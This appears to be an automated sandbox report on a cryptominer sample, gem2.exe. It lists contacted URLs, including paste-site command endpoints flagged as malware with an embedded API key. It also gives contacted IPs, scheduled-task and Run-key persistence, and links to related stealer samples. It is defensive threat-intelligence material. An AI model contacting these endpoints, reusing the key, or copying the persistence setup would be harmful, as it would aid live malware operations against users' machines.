https://textbinvault.com/	svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2553827080.00000173CE013000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastesnap.com/(W	powercfg.exe, 00000012.00000002.1449981083.0000029437030000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://wavepassage.cfd/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://brettdogecoin.com/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000001F.00000002.1514433357.000002005B8C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastesnap.com/API/cGFzdGVzbmFwEP.phpPKU2U	svchost.exe, 00000010.00000002.2553943667.00000173CE027000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://pastesnap.com/API/cGFzdGVzbmFwEP.phpapi_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpu	svchost.exe, 00000010.00000002.2554569786.00000173CE0EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2555613530.00000173CFB6E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://SuccessFromWithin.ru/Hkp	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://adorebeautyz.top/SSOR_AR	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://burningspice.cfd/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://ipinfo.io/countryNVIDIAAMDntdll.dllRtlGetVersionWindows	svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp	false		high
https://pastesnap.com/STB/cGFzdGVzbmFwM.txt/	gem2.exe, 00000000.00000003.1420573984.000002351CBC8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.ipify.orgwmic	svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 00000039.00000000.1517534191.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549981633.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001F.00000002.1514433357.000002005BAED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastesnap.com/STB/cGFzdGVzbmFwM.txt5	gem2.exe, 00000000.00000003.1420573984.000002351CBC8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001F.00000002.1514433357.000002005BAED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 0000001F.00000002.1514433357.000002005CA10000.00000004.00000800.00020000.00000000.sdmp	false		high
https://LearnToCodeWithUs.su/n	Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://syncaicloud.com/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://tiffanyonlinestore.top/a	Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000001F.00000002.1554825743.000002006B931000.00000004.00000800.00020000.00000000.sdmp	false		high
https://TechVenturesFromRussia.su/G	Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E1C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tiffanyonlinestore.top/H	WinDrive-f4855f59e0.exe, 00000026.00000002.1525048817.00000226CC15C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://FeelGoodForever.org.ru/Fx	System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/alt-svc.html	svchost.exe, svchost.exe, 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmp	false		high
https://adorebeautyz.top/h	Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastesnap.com/API/cGFzdGVzbmFwEP.phpYg==M.txtsage.cfdapi_key=ut1bkd3rwa55zy8mt1hc&id=21&sett	svchost.exe, 00000010.00000002.2554482364.00000173CE0D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Pester/Pester	powershell.exe, 0000001F.00000002.1514433357.000002005BAED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://LearnToCodeWithUs.su/PDATA	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://namesell.sbs/t	Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt	svchost.exe, 00000010.00000002.2553827080.00000173CE013000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://RussianTechInnovationHub.ru/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://pastesnap.com/API/cGFzdGVzbmFwEP.php	svchost.exe, 00000010.00000002.2554341140.00000173CE0C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2553943667.00000173CE027000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://leadingworld.top/PE=C;LCC	WinDrive-f4855f59e0.exe, 00000026.00000002.1525048817.00000226CC15C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpu4c	svchost.exe, 00000010.00000002.2554097147.00000173CE06D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2554341140.00000173CE0BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.ipify.orgC:	curl.exe, 0000003C.00000002.1548361165.0000023245FA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://burningspice.cfd/m	Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 00000039.00000000.1517534191.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549981633.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://curl.se/docs/copyright.html	svchost.exe	false		high
http://www.zlib.net/D	svchost.exe, 00000010.00000002.2554873475.00000173CF9C7000.00000002.10000000.00040000.00000000.sdmp	false		high
https://pastesnap.com/API/cGFzdGVzbmFwEP.phpc78da9f679b97f91d60	svchost.exe, 00000010.00000002.2554569786.00000173CE0EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2555613530.00000173CFB6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2554482364.00000173CE0D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/wsdl/	lsass.exe, 00000039.00000000.1517534191.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549981633.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://bluebullet.su/g	Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastesnap.com/0xY	WMIC.exe, 00000037.00000002.1519599624.000001C183517000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000037.00000003.1519154244.000001C183517000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000037.00000003.1516325556.000001C183512000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://creativecoder.top/=	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jobscontext.top/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://securetextweb.cc/	svchost.exe, 00000010.00000002.2553827080.00000173CE013000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, Microsoft-f4855f59e0.exe, 00000011.00000003.1446815949.0000017D99E3D000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 00000011.00000000.1444761623.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, Microsoft-f4855f59e0.exe, 00000011.00000002.1475795269.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, WinDrive-f4855f59e0.exe, 00000026.00000000.1472403011.00007FF6F0277000.00000002.00000001.01000000.0000000B.sdmp, WinDrive-f4855f59e0.exe, 00000026.00000002.1525048817.00000226CC15C000.00000004.00000020.00020000.00000000.sdmp, WinDrive-f4855f59e0.exe, 00000026.00000002.1525296362.00007FF6F0277000.00000002.00000001.01000000.0000000B.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000000.1536925194.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000003.1538720334.0000015F98C97000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000002.1544978601.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://lunarminer.network/	svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpueb	svchost.exe, 00000010.00000002.2553736925.00000173CE000000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://FeelGoodForever.org.ru/NkN	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://RusTechHub.ru/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://gamergategames.top/ux	System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://RusTechHub.ru/0	WinDrive-f4855f59e0.exe, 00000026.00000002.1525048817.00000226CC15C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/V	svchost.exe, 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmp	false		high
https://leadingworld.top/	System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp, System-f4855f59e0.exe, 0000000E.00000000.1334218488.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmp, System-f4855f59e0.exe, 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmp, Microsoft-f4855f59e0.exe, Microsoft-f4855f59e0.exe, 00000011.00000003.1446815949.0000017D99E3D000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 00000011.00000000.1444761623.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, Microsoft-f4855f59e0.exe, 00000011.00000002.1475795269.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, WinDrive-f4855f59e0.exe, 00000026.00000000.1472403011.00007FF6F0277000.00000002.00000001.01000000.0000000B.sdmp, WinDrive-f4855f59e0.exe, 00000026.00000002.1525048817.00000226CC15C000.00000004.00000020.00020000.00000000.sdmp, WinDrive-f4855f59e0.exe, 00000026.00000002.1525296362.00007FF6F0277000.00000002.00000001.01000000.0000000B.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000000.1536925194.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000003.1538720334.0000015F98C97000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000002.1544978601.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://syncaicloud.com/ndows	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastesnap.com/API/cGFzdGVzbmFwEP.phpc78da9f679b97f91d60https://pastesnap.com/API/cGFzdGVzbmF	svchost.exe, 00000010.00000002.2554482364.00000173CE0D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://pastesnap.com/Kh	System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD5989C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.176.186	textbinvault.com	United States	13335	CLOUDFLARENETUS	false
104.21.60.172	unknown	United States	13335	CLOUDFLARENETUS	false
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
188.114.97.3	wavepassage.cfd	European Union	13335	CLOUDFLARENETUS	false
142.250.181.228	www.google.com	United States	15169	GOOGLEUS	false
172.67.198.113	pastesnap.com	United States	13335	CLOUDFLARENETUS	false
104.21.64.1	securetextweb.cc	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589411
Start date and time:	2025-01-12 09:25:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	59
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	5
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	gem2.exe
Detection:	MAL
Classification:	mal100.evad.mine.winEXE@73/18@7/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 90% Number of executed functions: 75 Number of non-executed functions: 272
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, consent.exe, SIHClient.exe, SgrmBroker.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.126.32.140, 40.126.32.76, 20.190.160.17, 40.126.32.74, 20.190.160.22, 40.126.32.136, 20.190.160.14, 40.126.32.68, 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, ipinfo.io, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, time.windows.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:26:14	API Interceptor	32x Sleep call for process: powershell.exe modified
05:14:48	API Interceptor	2x Sleep call for process: WMIC.exe modified
05:15:24	API Interceptor	183383x Sleep call for process: lsass.exe modified
05:15:24	API Interceptor	235257x Sleep call for process: winlogon.exe modified
05:15:26	API Interceptor	442x Sleep call for process: svchost.exe modified
05:15:30	API Interceptor	200223x Sleep call for process: dwm.exe modified
05:15:33	API Interceptor	52x Sleep call for process: WmiPrvSE.exe modified
05:15:38	API Interceptor	286x Sleep call for process: dllhost.exe modified
09:26:20	Task Scheduler	Run new task: System-f4855f59e0 path: C:\Windows\System32\System-f4855f59e0.exe
09:26:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Microsoft-f4855f59e0 C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe
09:26:31	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Microsoft-f4855f59e0 C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.176.186	INVOICE087667899.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
104.21.60.172	http://meta.fanpage-suite-help.live/	Get hash	malicious	HTMLPhisher	Browse
104.21.60.172	https://documentsafedonline365.cloud	Get hash	malicious	Unknown	Browse
104.26.12.205	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	RtU8kXPnKr.exe	Get hash	malicious	Quasar	Browse	api.ipify.org/
	jgbC220X2U.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=text
	xKvkNk9SXR.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	GD8c7ARn8q.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	8AbMCL2dxM.exe	Get hash	malicious	RCRU64, TrojanRansom	Browse	api.ipify.org/
	Simple2.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Ransomware Mallox.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse	api.ipify.org/
188.114.97.3	qbSIgCrCgw.exe	Get hash	malicious	FormBook	Browse	www.zkdamdjj.shop/kf1m/
	8L6MBxaJ2m.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	1SxKeB4u0c.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
	suBpo1g13Q.exe	Get hash	malicious	FormBook	Browse	www.zkdamdjj.shop/swhs/
	k9OEsV37GE.exe	Get hash	malicious	FormBook	Browse	www.einpisalpace.shop/8g74/?cNPH=WJ/rFpSuW7SUTonvHlYgJHet70+40/nSG+S456FFT70GKpWTD+yYW7KPXc3l6inPZ41lXlQU44ttBNcSIyPO/Awb2QEZq+eieNEXwOjUfdTJHvICblirwfj54bAbpLWz76fPuJmn0JFO&EtJTX=_JVX4ryxDRQpLJF
	wWXR5js3k2.exe	Get hash	malicious	FormBook	Browse	www.supernutra01.online/rk61/
	NWPZbNcRxL.exe	Get hash	malicious	FormBook	Browse	www.vh5g.sbs/rjsl/
	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/?xP7x=Q2EbwnYhq4vEVEYxQpNjsu4gFlGHCs4lBliPtc8X0AIyDwowOCFGn/661E09vvaaF3LvgpjgW8Wvr6GWd63ULodNNE679jqiZ5mYQ2jjCrjO82Z0/3agI7E=&F4=Q0yHy
	GTA5-elamigos.exe	Get hash	malicious	Esquele Stealer	Browse	/api/get/dll
	DHL DOCS 2-0106-25.exe	Get hash	malicious	FormBook	Browse	www.uzshou.world/ricr/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	gem1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	https://pub-ce1f93897bdf44e9b1cd99ad0325c570.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://support-confirm-help.click/	Get hash	malicious	Unknown	Browse	172.67.74.152
	zmpZMfK1b4.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	kAsh3nmsgs.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	dhPWt112uC.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	JuIZye2xKX.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ZeAX5i7cGB.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	jKqPSehspS.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	A6AHI7Uk18.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	gem1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	176.113.115.170.ps1	Get hash	malicious	LummaC	Browse	172.67.160.193
	https://accountsupporthub.es/generate/Login/	Get hash	malicious	Unknown	Browse	104.21.90.106
	Solara.exe	Get hash	malicious	Python Stealer, Exela Stealer, Xmrig	Browse	162.159.134.233
	resembleC2.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.135.232
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	172.67.219.181
	http://steam.usercommunityart.com/filedetails/sharedfiles/id=319248110/	Get hash	malicious	Unknown	Browse	104.21.56.69
	http://www.telegramstg.com/	Get hash	malicious	Unknown	Browse	104.21.22.141
	http://www.eovph.icu/	Get hash	malicious	Unknown	Browse	104.21.1.232
	http://app-metamask.godaddysites.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
CLOUDFLARENETUS	gem1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	176.113.115.170.ps1	Get hash	malicious	LummaC	Browse	172.67.160.193
	https://accountsupporthub.es/generate/Login/	Get hash	malicious	Unknown	Browse	104.21.90.106
	Solara.exe	Get hash	malicious	Python Stealer, Exela Stealer, Xmrig	Browse	162.159.134.233
	resembleC2.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.135.232
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	172.67.219.181
	http://steam.usercommunityart.com/filedetails/sharedfiles/id=319248110/	Get hash	malicious	Unknown	Browse	104.21.56.69
	http://www.telegramstg.com/	Get hash	malicious	Unknown	Browse	104.21.22.141
	http://www.eovph.icu/	Get hash	malicious	Unknown	Browse	104.21.1.232
	http://app-metamask.godaddysites.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
CLOUDFLARENETUS	gem1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	176.113.115.170.ps1	Get hash	malicious	LummaC	Browse	172.67.160.193
	https://accountsupporthub.es/generate/Login/	Get hash	malicious	Unknown	Browse	104.21.90.106
	Solara.exe	Get hash	malicious	Python Stealer, Exela Stealer, Xmrig	Browse	162.159.134.233
	resembleC2.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.135.232
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	172.67.219.181
	http://steam.usercommunityart.com/filedetails/sharedfiles/id=319248110/	Get hash	malicious	Unknown	Browse	104.21.56.69
	http://www.telegramstg.com/	Get hash	malicious	Unknown	Browse	104.21.22.141
	http://www.eovph.icu/	Get hash	malicious	Unknown	Browse	104.21.1.232
	http://app-metamask.godaddysites.com/	Get hash	malicious	Unknown	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	58VSNPxrI4.exe	Get hash	malicious	Unknown	Browse	104.21.60.172
	pyld611114.exe	Get hash	malicious	Unknown	Browse	104.21.60.172
	dYUteuvmHn.exe	Get hash	malicious	Unknown	Browse	104.21.60.172
	SecuriteInfo.com.Win64.Evo-gen.6610.27408.exe	Get hash	malicious	Unknown	Browse	104.21.60.172
	SecuriteInfo.com.Win64.Evo-gen.9614.31304.exe	Get hash	malicious	Unknown	Browse	104.21.60.172
	SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exe	Get hash	malicious	Unknown	Browse	104.21.60.172
	app64.exe	Get hash	malicious	Unknown	Browse	104.21.60.172
	SecuriteInfo.com.FileRepMalware.12585.5759.exe	Get hash	malicious	Unknown	Browse	104.21.60.172
	SecuriteInfo.com.Trojan.GenericKD.74444428.17336.1019.exe	Get hash	malicious	Unknown	Browse	104.21.60.172
	SecuriteInfo.com.Trojan.GenericKD.74444428.17336.1019.exe	Get hash	malicious	Unknown	Browse	104.21.60.172
74954a0c86284d0d6e1c4efefe92b521	gem1.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	tiko-ifyzit-srdh.vbs	Get hash	malicious	Unknown	Browse	104.26.12.205
	Jx6bD8nM4qW9sL3v.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	104.26.12.205
	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	58VSNPxrI4.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	676556be12ac3.vbs	Get hash	malicious	Mint Stealer	Browse	104.26.12.205
	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	Get hash	malicious	Mint Stealer	Browse	104.26.12.205
	9KEZfGRjyK.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
37f463bf4616ecd445d4a1937da06e19	gem1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.60.172
	1387457-38765948.15.exe	Get hash	malicious	Nitol	Browse	104.21.60.172
	1387457-38765948.15.exe	Get hash	malicious	Unknown	Browse	104.21.60.172
	build.exe	Get hash	malicious	Vidar	Browse	104.21.60.172
	zmpZMfK1b4.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.60.172
	ix8kxoBHDb.exe	Get hash	malicious	Remcos, GuLoader	Browse	104.21.60.172
	b0cQukXPAl.exe	Get hash	malicious	LummaC	Browse	104.21.60.172
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.60.172
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.60.172
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.60.172

Process:	C:\Users\user\Desktop\gem2.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	538624
Entropy (8bit):	6.311350325901448
Encrypted:	false
